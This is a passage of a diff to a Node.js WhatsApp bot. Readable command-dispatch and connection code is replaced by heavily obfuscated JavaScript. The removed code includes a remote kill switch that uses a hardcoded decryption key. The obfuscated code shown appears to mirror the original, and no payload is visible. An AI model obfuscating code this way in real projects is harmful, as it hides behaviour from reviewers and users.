+ _0x4be48c[_0x100746(-0x2b9, -0x22d)] = _0x3b6567[_0x504108(0x34d, 0x414)][0x0], _0x44c8fe[_0x504108(0x4bc, 0x446) + '\x65'](_0x14b4e9, _0x5c748a, _0x4be48c);
972
+ return;
973
+ }
974
+ }
975
+ const _0x376a9a = () => {
976
+ function _0x5b7378(_0x1f8853, _0x20268d) {
977
+ return _0x100746(_0x20268d, _0x1f8853 - 0x193);
978
+ }
979
+ function _0x146c34(_0x319478, _0x267998) {
980
+ return _0x100746(_0x267998, _0x319478 - 0x1ff);
655
981
  }
656
- commandsPrimary[command](amdiCONN, m.messages[0], clientJID, input, msgLayout, fromMe);
657
- if (fromMe == true) {
658
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
982
+ if (vars[_0x5b7378(0x56, 0x117)] == _0x146c34(0xa0, 0xdd)) {
983
+ const _0x2f172c = {};
984
+ _0x2f172c[_0x5b7378(0x14, -0xcb)] = _0x14b4e9, _0x2f172c['\x69\x64'] = _0x3b6567[_0x146c34(-0x10, -0x40)][0x0]['\x6b\x65\x79']['\x69\x64'], _0x2f172c[_0x5b7378(0xc, 0x95) + '\x74'] = _0x37252f ? _0x3b6567[_0x5b7378(-0x7c, -0x65)][0x0][_0x146c34(0x144, 0x205)][_0x5b7378(0xc, 0x87) + '\x74'] : undefined;
985
+ const _0x14233c = _0x2f172c;
986
+ _0x44c8fe['\x72\x65\x61\x64\x4d\x65\x73\x73\x61\x67' + '\x65\x73']([_0x14233c]);
659
987
  }
988
+ }, _0x345ab1 = _0x37252f ? await _0x44c8fe[_0x504108(0x5d2, 0x500) + '\x61\x74\x61'](_0x14b4e9) : '';
989
+ let _0x128968 = _0x37252f ? _0x1fa323[_0x100746(-0x8d, -0xbb)][_0x504108(0x4fa, 0x49c) + '\x74'] : _0x3b6567[_0x100746(-0x1a0, -0x20f)][0x0][_0x504108(0x4a4, 0x568)][_0x100746(-0x1c1, -0x17f)];
990
+ const _0x1535bf = _0x128968[_0x504108(0x4cf, 0x449)]('\x3a') ? _0x128968[_0x504108(0x3ff, 0x3fb)]('\x3a')[0x0] : _0x128968[_0x504108(0x348, 0x3fb)]('\x40')[0x0];
991
+ if (_0x1fa323[_0x504108(0x486, 0x568)][_0x504108(0x515, 0x494)])
992
+ _0x128968 = _0x235bec;
993
+ const _0x763e11 = _0x128968[_0x504108(0x4a2, 0x449)]('\x3a') ? _0x128968[_0x504108(0x4ce, 0x466)](0x0, _0x128968[_0x504108(0x44f, 0x4ab)]('\x3a')) + '\x40' + _0x128968[_0x504108(0x34c, 0x3fb)]('\x40')[0x1] : _0x128968;
994
+ let _0x228028 = await getBanJids(_0x128968);
995
+ if (_0x228028 == 0x1)
996
+ return;
997
+ if (_0x37252f) {
998
+ let _0x55db27 = await getBanJids(_0x14b4e9);
999
+ if (_0x55db27 == 0x1)
660
1000
  return;
661
- } else {
1001
+ }
1002
+ const _0x56a483 = _0x37252f ? _0x345ab1[_0x100746(-0x15f, -0x91)] : '', _0x236bc5 = _0x37252f ? _0x345ab1['\x64\x65\x73\x63'] : '', _0x34638a = _0x37252f ? _0x345ab1[_0x504108(0x4ef, 0x49c) + '\x74\x73'] : '', _0x5106fc = _0x37252f ? _0x4a691e(_0x34638a) : '', _0xb1f80e = _0x5106fc[_0x504108(0x3dc, 0x449)](_0x235bec) || ![], _0x18d283 = _0x5106fc[_0x504108(0x450, 0x449)](_0x763e11) || ![], _0x37af28 = _0x2625a0 === '\x69\x6d\x61\x67\x65\x4d\x65\x73\x73\x61' + '\x67\x65' || _0x2625a0 === _0x100746(-0x1f8, -0x110) + '\x67\x65', _0x56be6f = _0x2625a0 === '\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x504108(0x3c2, 0x459) && _0x335202['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x100746(-0x2a9, -0x1c0) + '\x67\x65'), _0x7c407f = _0x2625a0 === '\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x504108(0x3a8, 0x459) && _0x335202[_0x504108(0x520, 0x449)](_0x504108(0x545, 0x513) + '\x67\x65'), _0xef2543 = _0x2625a0 === '\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + '\x78\x74\x4d\x65\x73\x73\x61\x67\x65' && _0x335202[_0x100746(-0x26c, -0x1da)]('\x73\x74\x69\x63\x6b\x65\x72\x4d\x65\x73' + _0x100746(-0x1a3, -0x193)), _0x5e84e7 = _0x2625a0 === '\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x504108(0x469, 0x459) && _0x335202[_0x100746(-0x1df, -0x1da)]('\x64\x6f\x63\x75\x6d\x65\x6e\x74\x4d\x65' + _0x504108(0x4ad, 0x4a9));
1003
+ vars['\x43\x48\x41\x54\x5f\x55\x50\x44\x41\x54' + '\x45\x53'] == _0x100746(-0x1c5, -0x15f) && console[_0x504108(0x4dd, 0x445)](_0x504108(0x567, 0x577) + _0x1b8b57 + _0x100746(-0x14, -0xdb) + _0x3b6567[_0x504108(0x395, 0x414)][0x0]['\x70\x75\x73\x68\x4e\x61\x6d\x65'] + (_0x504108(0x5ac, 0x557) + '\x20') + _0x1535bf + '\x5d\x2d\x5b\x47\x52\x50\x3a\x20' + _0x56a483 + '\x5d');
1004
+ if (vars['\x43\x48\x41\x54\x5f\x55\x50\x44\x41\x54' + '\x45\x53'] == _0x100746(-0x78, -0x15f)) {
1005
+ let _0x1e09a2 = _0x56a483 == '' ? _0x504108(0x640, 0x564) : _0x56a483;
1006
+ _0x68fb3(_0x100746(-0x1b1, -0x12c) + '\x20\x55\x73\x61\x67\x65\x2a\x0a\x0a\u2023' + '\x20\x43\x4f\x4d\x4d\x41\x4e\x44\x3a\x20' + _0x1b8b57 + (_0x504108(0x50a, 0x4e8) + '\x3a\x20') + _0x1535bf + _0x504108(0x5ec, 0x50e) + _0x3b6567[_0x100746(-0x157, -0x20f)][0x0][_0x504108(0x5c2, 0x51c)] + (_0x504108(0x50f, 0x549) + '\x41\x4d\x45\x3a\x20') + _0x1e09a2);
1007
+ }
1008
+ let _0x445218 = [];
1009
+ if (_0x236bc5) {
1010
+ let _0xc59834 = _0x236bc5[_0x100746(-0x2c7, -0x201)]()[_0x504108(0x49b, 0x3fb)]('\x0a')[0x0];
1011
+ _0x445218 = _0xc59834[_0x100746(-0x1d1, -0x228)]('\x2c');
1012
+ }
1013
+ if (_0x1b8b57 != '') {
1014
+ if (_0x445218[_0x100746(-0x1f1, -0x1da)](_0x1b8b57)) {
1015
+ _0x1d6dce(Lang['\x63\x6d\x64\x42\x6c\x6f\x63\x6b\x42\x79' + _0x100746(0x7, -0x93)]);
662
1016
  return;
663
1017
  }
664
1018
  }
665
- }
666
-
667
- if (commandsPrivate[command]) { // [Private Commands]
668
- if (allowedNumbs.includes(senderNumb) || fromMe == true || MOD.includes(senderNumb)) {
669
- readMessages();
670
- if (reactionPrivate[command] && fromMe == false) {
671
- await react(reactionPrivate[command], m.messages[0])
672
- }
673
- commandsPrivate[command](amdiCONN, m.messages[0], clientJID, input, msgLayout, fromMe);
674
- } else {
675
- if (vars.WORKTYPE == 'public') {
676
- readMessages();
677
- await amdiCONN.sendMessage(clientJID, {text: Lang.ownerCMDonly}, { quoted: (fromMe === false ? m.messages[0] : '') });
1019
+ const _0x1a2f0b = {};
1020
+ _0x1a2f0b[_0x100746(-0x148, -0x6a)] = prefix, _0x1a2f0b[_0x100746(-0x1de, -0x122)] = _0x1d64e9, _0x1a2f0b[_0x504108(0x3c5, 0x3fc)] = _0x128968, _0x1a2f0b[_0x100746(0x24, -0x98) + _0x100746(-0x213, -0x1ab)] = _0x10464b, _0x1a2f0b['\x61\x6c\x6c\x6f\x77\x65\x64\x4e\x75\x6d' + '\x62\x73'] = allowedNumbs, _0x1a2f0b['\x66\x6f\x6f\x74\x65\x72\x54\x58\x54'] = footerTXT, _0x1a2f0b[_0x504108(0x50f, 0x565)] = _0x1d6dce, _0x1a2f0b[_0x504108(0x437, 0x51f) + '\x73\x67'] = _0x372097, _0x1a2f0b[_0x100746(-0xec, -0x198) + '\x4d\x73\x67'] = _0x4fa78b, _0x1a2f0b['\x73\x65\x6e\x64\x54\x65\x6d\x70\x6c\x61' + '\x74\x65'] = _0x21c288, _0x1a2f0b[_0x100746(-0x142, -0x8c) + '\x67'] = _0x9a67ee, _0x1a2f0b[_0x100746(-0x173, -0x12d)] = _0x2d9cdb, _0x1a2f0b['\x4c\x6f\x67\x67\x65\x72\x43\x68\x61\x74'] = _0x68fb3, _0x1a2f0b[_0x504108(0x4e4, 0x471)] = _0x763e11, _0x1a2f0b['\x63\x6f\x6d\x6d\x61\x6e\x64'] = _0x1b8b57, _0x1a2f0b['\x67\x72\x6f\x75\x70\x4d\x65\x74\x61\x64' + _0x100746(-0x1fa, -0x171)] = _0x345ab1, _0x1a2f0b[_0x504108(0x42d, 0x3f9)] = _0x37252f, _0x1a2f0b[_0x504108(0x587, 0x5b2) + '\x69\x6e'] = _0x18d283, _0x1a2f0b['\x69\x73\x42\x6f\x74\x47\x72\x6f\x75\x70' + '\x41\x64\x6d\x69\x6e'] = _0xb1f80e, _0x1a2f0b[_0x504108(0x4c0, 0x4c1)] = _0x37af28, _0x1a2f0b[_0x504108(0x390, 0x3ff) + _0x100746(-0xf2, -0x1ab)] = _0x56be6f, _0x1a2f0b[_0x100746(-0xca, -0x19e) + '\x64\x65\x6f'] = _0x7c407f, _0x1a2f0b[_0x504108(0x66c, 0x593) + _0x100746(0x2, -0x62)] = _0xef2543, _0x1a2f0b[_0x504108(0x53f, 0x5b0) + '\x63\x75\x6d\x65\x6e\x74'] = _0x5e84e7, _0x1a2f0b['\x62\x6f\x74\x4e\x75\x6d\x62\x65\x72\x4a' + '\x69\x64'] = _0x235bec, _0x1a2f0b[_0x100746(-0x1ee, -0x1e4)] = _0x3468b3, _0x1a2f0b['\x69\x73\x52\x65\x70\x6c\x79'] = _0x4f001b;
1021
+ const _0x5d374b = _0x1a2f0b;
1022
+ if (commandsPrimary[_0x1b8b57]) {
1023
+ if (vars[_0x504108(0x4ab, 0x442)] == '\x70\x75\x62\x6c\x69\x63') {
1024
+ _0x376a9a();
1025
+ reactionPrimary[_0x1b8b57] && _0xc73e83 == ![] && await _0x2d9cdb(reactionPrimary[_0x1b8b57], _0x3b6567[_0x100746(-0x1ae, -0x20f)][0x0]);
1026
+ commandsPrimary[_0x1b8b57](_0x44c8fe, _0x3b6567[_0x504108(0x43a, 0x414)][0x0], _0x14b4e9, _0x1815b7, _0x5d374b, _0xc73e83);
1027
+ if (_0xc73e83 == !![]) {
1028
+ const _0x1d1814 = {};
1029
+ _0x1d1814['\x64\x65\x6c\x65\x74\x65'] = _0x3b6567[_0x504108(0x43e, 0x414)][0x0][_0x100746(-0x91, -0xbb)], await _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x14b4e9, _0x1d1814);
1030
+ }
1031
+ return;
1032
+ } else {
1033
+ if (vars['\x57\x4f\x52\x4b\x54\x59\x50\x45'] == '\x70\x72\x69\x76\x61\x74\x65') {
1034
+ if (allowedNumbs[_0x504108(0x394, 0x449)](_0x1535bf) || _0xc73e83 == !![] || MOD[_0x504108(0x4b0, 0x449)](_0x1535bf)) {
1035
+ _0x376a9a();
1036
+ reactionPrimary[_0x1b8b57] && _0xc73e83 == ![] && await _0x2d9cdb(reactionPrimary[_0x1b8b57], _0x3b6567[_0x100746(-0x2c0, -0x20f)][0x0]);
1037
+ commandsPrimary[_0x1b8b57](_0x44c8fe, _0x3b6567[_0x100746(-0x223, -0x20f)][0x0], _0x14b4e9, _0x1815b7, _0x5d374b, _0xc73e83);
1038
+ if (_0xc73e83 == !![]) {
1039
+ const _0x287130 = {};
1040
+ _0x287130[_0x504108(0x547, 0x4ca)] = _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0][_0x504108(0x511, 0x568)], await _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x14b4e9, _0x287130);
1041
+ }
1042
+ return;
1043
+ } else
1044
+ return;
1045
+ }
678
1046
  }
679
1047
  }
680
- if (fromMe == true) {
681
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
682
- }
683
- return;
684
- }
685
-
686
- if (commandsAdmin[command]) { // [Admin Commands]
687
- if (!isGroup) {
688
- if (allowedNumbs.includes(senderNumb) || fromMe == true || MOD.includes(senderNumb)) {
689
- readMessages();
690
- await amdiCONN.sendMessage(clientJID, {text: Lang.grpCMDonly}, { quoted: (fromMe === false ? m.messages[0] : '') });
691
- if (fromMe == true) {
692
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
1048
+ if (commandsPrivate[_0x1b8b57]) {
1049
+ if (allowedNumbs[_0x100746(-0x218, -0x1da)](_0x1535bf) || _0xc73e83 == !![] || MOD[_0x504108(0x522, 0x449)](_0x1535bf))
1050
+ _0x376a9a(), reactionPrivate[_0x1b8b57] && _0xc73e83 == ![] && await _0x2d9cdb(reactionPrivate[_0x1b8b57], _0x3b6567[_0x504108(0x49f, 0x414)][0x0]), commandsPrivate[_0x1b8b57](_0x44c8fe, _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0], _0x14b4e9, _0x1815b7, _0x5d374b, _0xc73e83);
1051
+ else {
1052
+ if (vars[_0x504108(0x4f4, 0x442)] == _0x504108(0x541, 0x4c8)) {
1053
+ _0x376a9a();
1054
+ const _0x27350e = {};
1055
+ _0x27350e[_0x504108(0x33a, 0x40c)] = Lang['\x6f\x77\x6e\x65\x72\x43\x4d\x44\x6f\x6e' + '\x6c\x79'];
1056
+ const _0x5b7895 = {};
1057
+ _0x5b7895[_0x100746(-0x1db, -0x22d)] = _0xc73e83 === ![] ? _0x3b6567[_0x504108(0x49e, 0x414)][0x0] : '', await _0x44c8fe[_0x100746(-0x111, -0x1dd) + '\x65'](_0x14b4e9, _0x27350e, _0x5b7895);
693
1058
  }
694
- return;
695
1059
  }
696
- } else {
697
- if (!isGroupAdmin) {
698
- if (vars.WORKTYPE == 'public' && !allowedNumbs.includes(senderNumb)) {
699
- readMessages();
700
- await amdiCONN.sendMessage(clientJID, {text: Lang.notAdmin}, { quoted: (fromMe === false ? m.messages[0] : '') });
1060
+ if (_0xc73e83 == !![]) {
1061
+ const _0x2bd06d = {};
1062
+ _0x2bd06d['\x64\x65\x6c\x65\x74\x65'] = _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0]['\x6b\x65\x79'], await _0x44c8fe[_0x100746(-0x1df, -0x1dd) + '\x65'](_0x14b4e9, _0x2bd06d);
1063
+ }
1064
+ return;
1065
+ }
1066
+ if (commandsAdmin[_0x1b8b57]) {
1067
+ if (!_0x37252f) {
1068
+ if (allowedNumbs[_0x100746(-0x2ab, -0x1da)](_0x1535bf) || _0xc73e83 == !![] || MOD[_0x100746(-0x17f, -0x1da)](_0x1535bf)) {
1069
+ _0x376a9a();
1070
+ const _0x29d3a7 = {};
1071
+ _0x29d3a7[_0x504108(0x3d5, 0x40c)] = Lang['\x67\x72\x70\x43\x4d\x44\x6f\x6e\x6c\x79'];
1072
+ const _0x19b743 = {};
1073
+ _0x19b743['\x71\x75\x6f\x74\x65\x64'] = _0xc73e83 === ![] ? _0x3b6567[_0x100746(-0x15a, -0x20f)][0x0] : '', await _0x44c8fe[_0x100746(-0x2b9, -0x1dd) + '\x65'](_0x14b4e9, _0x29d3a7, _0x19b743);
1074
+ if (_0xc73e83 == !![]) {
1075
+ const _0x172189 = {};
1076
+ _0x172189[_0x100746(-0x22f, -0x159)] = _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0]['\x6b\x65\x79'], await _0x44c8fe[_0x100746(-0x17b, -0x1dd) + '\x65'](_0x14b4e9, _0x172189);
1077
+ }
701
1078
  return;
702
1079
  }
703
- }
704
-
705
- if (!isBotGroupAdmin) {
706
- readMessages();
707
- await amdiCONN.sendMessage(clientJID, {text: Lang.noAdmin}, { quoted: (fromMe === false ? m.messages[0] : '') });
708
- if (fromMe == true) {
709
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
1080
+ } else {
1081
+ if (!_0x18d283) {
1082
+ if (vars[_0x504108(0x3f8, 0x442)] == _0x100746(-0xbd, -0x15b) && !allowedNumbs['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x1535bf)) {
1083
+ _0x376a9a();
1084
+ const _0xa766d0 = {};
1085
+ _0xa766d0[_0x504108(0x4c9, 0x40c)] = Lang[_0x100746(-0x118, -0xeb)];
1086
+ const _0x1a2437 = {};
1087
+ _0x1a2437[_0x504108(0x3b9, 0x3f6)] = _0xc73e83 === ![] ? _0x3b6567[_0x504108(0x471, 0x414)][0x0] : '', await _0x44c8fe[_0x504108(0x4c0, 0x446) + '\x65'](_0x14b4e9, _0xa766d0, _0x1a2437);
1088
+ return;
1089
+ }
710
1090
  }
711
- return;
712
- }
713
-
714
- if (isGroupAdmin || allowedNumbs.includes(senderNumb)) {
715
- readMessages();
716
- if (reactionAdmin[command] && fromMe == false) {
717
- await react(reactionAdmin[command], m.messages[0])
1091
+ if (!_0xb1f80e) {
1092
+ _0x376a9a();
1093
+ const _0x194af7 = {};
1094
+ _0x194af7[_0x504108(0x3d3, 0x40c)] = Lang['\x6e\x6f\x41\x64\x6d\x69\x6e'];
1095
+ const _0x44795e = {};
1096
+ _0x44795e[_0x504108(0x377, 0x3f6)] = _0xc73e83 === ![] ? _0x3b6567[_0x100746(-0x290, -0x20f)][0x0] : '', await _0x44c8fe[_0x504108(0x49f, 0x446) + '\x65'](_0x14b4e9, _0x194af7, _0x44795e);
1097
+ if (_0xc73e83 == !![]) {
1098
+ const _0x1fb0e0 = {};
1099
+ _0x1fb0e0['\x64\x65\x6c\x65\x74\x65'] = _0x3b6567[_0x100746(-0x252, -0x20f)][0x0][_0x504108(0x4ee, 0x568)], await _0x44c8fe['\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67' + '\x65'](_0x14b4e9, _0x1fb0e0);
1100
+ }
1101
+ return;
718
1102
  }
719
- commandsAdmin[command](amdiCONN, m.messages[0], clientJID, input, msgLayout, fromMe);
720
- if (fromMe == true) {
721
- await amdiCONN.sendMessage(clientJID, { delete: m.messages[0].key })
1103
+ if (_0x18d283 || allowedNumbs['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x1535bf)) {
1104
+ _0x376a9a();
1105
+ reactionAdmin[_0x1b8b57] && _0xc73e83 == ![] && await _0x2d9cdb(reactionAdmin[_0x1b8b57], _0x3b6567[_0x100746(-0x1f0, -0x20f)][0x0]);
1106
+ commandsAdmin[_0x1b8b57](_0x44c8fe, _0x3b6567[_0x100746(-0x206, -0x20f)][0x0], _0x14b4e9, _0x1815b7, _0x5d374b, _0xc73e83);
1107
+ if (_0xc73e83 == !![]) {
1108
+ const _0x5c20ea = {};
1109
+ _0x5c20ea[_0x100746(-0x212, -0x159)] = _0x3b6567[_0x100746(-0x2bc, -0x20f)][0x0][_0x504108(0x5f8, 0x568)], await _0x44c8fe[_0x504108(0x4e2, 0x446) + '\x65'](_0x14b4e9, _0x5c20ea);
1110
+ }
1111
+ return;
722
1112
  }
723
- return;
724
1113
  }
725
1114
  }
726
- }
727
-
728
- if (m.messages[0].message.conversation == '.') {
729
- return;
730
- }
731
-
732
- if (m.messages[0].message.hasOwnProperty('extendedTextMessage') &&
733
- m.messages[0].message.extendedTextMessage.hasOwnProperty('text') === true) {
734
- if (m.messages[0].message.extendedTextMessage.text == '.') {
735
- return;
736
- }
737
- }
738
-
739
- if (!commandsPrimary[command] || !commandsPrivate[command] || !commandsAdmin[command]) {
740
- if (vars.WORKTYPE == 'public') {
741
- react("❌", m.messages[0])
1115
+ if (_0x3b6567[_0x100746(-0x2f7, -0x20f)][0x0]['\x6d\x65\x73\x73\x61\x67\x65']['\x63\x6f\x6e\x76\x65\x72\x73\x61\x74\x69' + '\x6f\x6e'] == '\x2e')
742
1116
  return;
743
- } else if (vars.WORKTYPE == 'private') {
744
- if (allowedNumbs.includes(senderNumb) || fromMe == true || MOD.includes(senderNumb)) {
745
- react("❌", m.messages[0])
1117
+ if (_0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0][_0x504108(0x5a7, 0x581)][_0x100746(-0xc6, -0x141) + _0x100746(-0x106, -0x64)](_0x100746(-0xa2, -0xfd) + _0x504108(0x4a4, 0x459)) && _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0][_0x504108(0x57b, 0x581)]['\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65' + _0x100746(-0x19f, -0x1ca)]['\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70' + _0x100746(-0xec, -0x64)]('\x74\x65\x78\x74') === !![]) {
1118
+ if (_0x3b6567[_0x504108(0x43d, 0x414)][0x0][_0x504108(0x629, 0x581)][_0x100746(-0x1f, -0xfd) + _0x100746(-0x1e0, -0x1ca)][_0x100746(-0x265, -0x217)] == '\x2e')
746
1119
  return;
1120
+ }
1121
+ if (!commandsPrimary[_0x1b8b57] || !commandsPrivate[_0x1b8b57] || !commandsAdmin[_0x1b8b57]) {
1122
+ if (vars[_0x504108(0x3ff, 0x442)] == _0x100746(-0x170, -0x15b)) {
1123
+ _0x2d9cdb('\u274c', _0x3b6567['\x6d\x65\x73\x73\x61\x67\x65\x73'][0x0]);
1124
+ return;
1125
+ } else {
1126
+ if (vars[_0x504108(0x464, 0x442)] == '\x70\x72\x69\x76\x61\x74\x65') {
1127
+ if (allowedNumbs['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x1535bf) || _0xc73e83 == !![] || MOD['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x1535bf)) {
1128
+ _0x2d9cdb('\u274c', _0x3b6567[_0x100746(-0x1d1, -0x20f)][0x0]);
1129
+ return;
1130
+ }
1131
+ }
747
1132
  }
748
1133
  }
1134
+ } catch (_0x3b85dc) {
1135
+ console[_0x100746(-0xf7, -0x1de)](_0x3b85dc);
1136
+ return;
749
1137
  }
750
-
751
- } catch (err) {
752
- console.log(err);
753
- return;
754
- }
755
- });
756
-
757
- // <==== connection.update ====>
758
- amdiCONN.ev.on("connection.update", (update) => {
759
- const { connection, lastDisconnect, qr } = update;
760
-
761
- if (qr) {
762
- QRCode.toDataURL(qr).then((url) => {
763
- let buffer = new Buffer.from(url.replace('data:image/png;base64,', ''), 'base64')
764
- sharp(buffer)
765
- .resize(640, 640)
766
- .toFile('./qr_code/image.png');
767
- })
768
- }
769
-
770
- if (connection === "close") {
771
- const { Boom } = require('@hapi/boom')
772
- console.log('Disconnected ❌')
773
- let reason = new Boom(lastDisconnect?.error)?.output.statusCode
774
- if (reason === DisconnectReason.badSession) { console.log(`Bad Session File, Please Delete Session and Scan Again`); QueenAmdi(); }
775
- else if (reason === DisconnectReason.connectionClosed) { console.log("Connection closed, reconnecting...."); QueenAmdi(); }
776
- else if (reason === DisconnectReason.connectionLost) { console.log("Connection Lost from Server, reconnecting..."); QueenAmdi(); }
777
- else if (reason === DisconnectReason.connectionReplaced) { console.log("Connection Replaced, Another New Session Opened, Please Close Current Session First"); QueenAmdi(); }
778
- else if (reason === DisconnectReason.loggedOut) { console.log(`Device Logged Out, Please Scan Again And Run.`); QueenAmdi(); }
779
- else if (reason === DisconnectReason.restartRequired) { console.log("Restart Required, Restarting..."); QueenAmdi(); }
780
- else if (reason === DisconnectReason.timedOut) { console.log("Connection TimedOut, Reconnecting..."); QueenAmdi(); }
781
- else {
782
- QueenAmdi();
783
- }
784
- }
785
-
786
- if (connection === 'open') {
787
- console.log('✅ Web WA connected!')
788
- updateLogin();
789
-
790
- (async () => {
791
- const code = "manoj-amdi"
792
- let link = `https://raw.githubusercontent.com/BlackAmda/QueenAmdi/master/owner.json`
793
- const responseDATA = await got(link);
794
- const ownerJSON = JSON.parse(responseDATA.body);
795
- const banned_users_MM = ownerJSON.data.Manoj_Multi_Device.banned_user
796
- const banned_users_QA = ownerJSON.data.Queen_Amdi.banned_user
797
- const bytes_MM = CryptoJS.AES.decrypt(banned_users_MM, code);
798
- const bytes_QA = CryptoJS.AES.decrypt(banned_users_QA, code);
799
- const decrypt_JIDS_MM = bytes_MM.toString(CryptoJS.enc.Utf8);
800
- const decrypt_JIDS_QA = bytes_QA.toString(CryptoJS.enc.Utf8);
801
- var abc = decrypt_JIDS_MM.split(',');
802
- var efg = decrypt_JIDS_QA.split(',');
803
-
804
- if (abc.includes(amdiCONN.user.id.split('@')[0])) {
805
- process.exit(0);;
806
- }
807
- if (efg.includes(amdiCONN.user.id.split('@')[0])) {
808
- process.exit(0);;
1138
+ }), _0x44c8fe['\x65\x76']['\x6f\x6e'](_0x760060(0xd8, 0xf0) + _0x309389(0xa5, 0xb), _0x2d59a5 => {
1139
+ function _0x9fdfc0(_0x3cc600, _0x571e98) {
1140
+ return _0x309389(_0x3cc600, _0x571e98 - 0x24);
1141
+ }
1142
+ function _0xabbca9(_0x3fa06d, _0x160a63) {
1143
+ return _0x760060(_0x160a63 - -0x1, _0x3fa06d);
1144
+ }
1145
+ const {
1146
+ connection: _0x4bf312,
1147
+ lastDisconnect: _0xea48ce,
1148
+ qr: _0x171987
1149
+ } = _0x2d59a5;
1150
+ _0x171987 && QRCode[_0x9fdfc0(-0x4c, 0x73)](_0x171987)['\x74\x68\x65\x6e'](_0x480ab8 => {
1151
+ function _0x2e56af(_0x1d0dac, _0x9edeec) {
1152
+ return _0x9fdfc0(_0x1d0dac, _0x9edeec - -0x72);
809
1153
  }
810
-
811
- let url = `https://gist.githubusercontent.com/BlackAmda/7b5dd14313b6312539e106ec36436db7/raw/`
812
- const response = await got(url);
813
- const json = JSON.parse(response.body);
814
- const pic = json.QRConnected
815
- let buffer = new Buffer.from(pic.replace('data:image/jpeg;base64,', ''), 'base64')
816
- fs.writeFile("./qr_code/image.png", buffer, function(err) {
817
- if (err) throw err;
818
- });
819
- setInterval(() => {
820
- fs.writeFile("./qr_code/image.png", buffer, function(err) {
821
- if (err) throw err;
822
- });
823
- }, 900000)
824
- })();
825
-
826
- // <==== LOG NUMBER ====>
827
- if (vars.LOG_JID) {
828
- const templateButtons = [
829
- {index: 1, quickReplyButton: {displayText: "👨🏻‍🏫 Join our support group", id: 'id-like-buttons-message'}},
830
- {index: 2, urlButton: {displayText: '📚 Queen Amdi - Wiki', url: 'https://github.com/BlackAmda/QueenAmdi'}},
831
- {index: 3, urlButton: {displayText: '🎞️ AN Tech YouTube Channel', url: 'https://www.youtube.com/channel/UCZx8U1EU95-Wn9mH4dn15vQ?sub_confirmation=1'}}
832
- ]
833
-
834
- const templateMessage = {
835
- caption: Lang.connDONE,
836
- footer: footerTXT,
837
- templateButtons: templateButtons,
838
- image: { url: 'https://i.ibb.co/0Vr6qJX/20220619-164946.jpg' }
1154
+ let _0x4c5f9b = new Buffer[(_0x2a0773(0x4f2, 0x46c))](_0x480ab8['\x72\x65\x70\x6c\x61\x63\x65'](_0x2e56af(0xfc, 0x104) + '\x2f\x70\x6e\x67\x3b\x62\x61\x73\x65\x36' + '\x34\x2c', ''), _0x2e56af(-0x12, -0x78));
1155
+ function _0x2a0773(_0x34d516, _0x4e2c4d) {
1156
+ return _0x9fdfc0(_0x34d516, _0x4e2c4d - 0x308);
839
1157
  }
840
- amdiCONN.sendMessage(vars.LOG_JID, templateMessage)
841
- } else {
842
- try {
843
- (async () => {
844
- const img = await axios.get("https://i.ibb.co/PTGSn82/BotLogs.jpg", { responseType: 'arraybuffer' });
845
- const group = await amdiCONN.groupCreate("📟 Queen Amdi v4 Console💃🏻♥️", [])
846
- console.log ("Created console group with id: " + group.id)
847
- await amdiCONN.groupUpdateDescription(group.id, vars.VERSION + "\n\nThis is your bot logs chat.\n\nDon't use any commands here.")
848
- await amdiCONN.updateProfilePicture(group.id, img.data)
849
- await heroku.patch(baseURI + '/config-vars', {
850
- body: {
851
- ['logGrpJID']: group.id
1158
+ sharp(_0x4c5f9b)[_0x2e56af(-0x25, 0x1e)](0x280, 0x280)[_0x2e56af(0x1c7, 0xdc)](_0x2e56af(0x45, 0x2f) + _0x2a0773(0x3b4, 0x478));
1159
+ });
1160
+ if (_0x4bf312 === _0xabbca9(0x1d8, 0x187)) {
1161
+ const {Boom: _0x2c2115} = require(_0xabbca9(0x2e8, 0x237));
1162
+ console[_0xabbca9(0xcb, 0xd2)](_0x9fdfc0(0x1e, 0x49) + _0xabbca9(0x166, 0x1ad));
1163
+ let _0x2df7cf = new _0x2c2115(_0xea48ce?.[_0xabbca9(0x7a, 0x10f)])?.['\x6f\x75\x74\x70\x75\x74']['\x73\x74\x61\x74\x75\x73\x43\x6f\x64\x65'];
1164
+ if (_0x2df7cf === DisconnectReason['\x62\x61\x64\x53\x65\x73\x73\x69\x6f\x6e'])
1165
+ console[_0xabbca9(0x153, 0xd2)]('\x42\x61\x64\x20\x53\x65\x73\x73\x69\x6f' + _0x9fdfc0(0x16b, 0x112) + _0x9fdfc0(0x27, 0x3c) + _0x9fdfc0(0xa1, 0x14d) + _0x9fdfc0(0x142, 0x138) + _0x9fdfc0(0x2c, 0x86)), QueenAmdi();
1166
+ else {
1167
+ if (_0x2df7cf === DisconnectReason['\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e' + _0x9fdfc0(0xc8, 0x105)])
1168
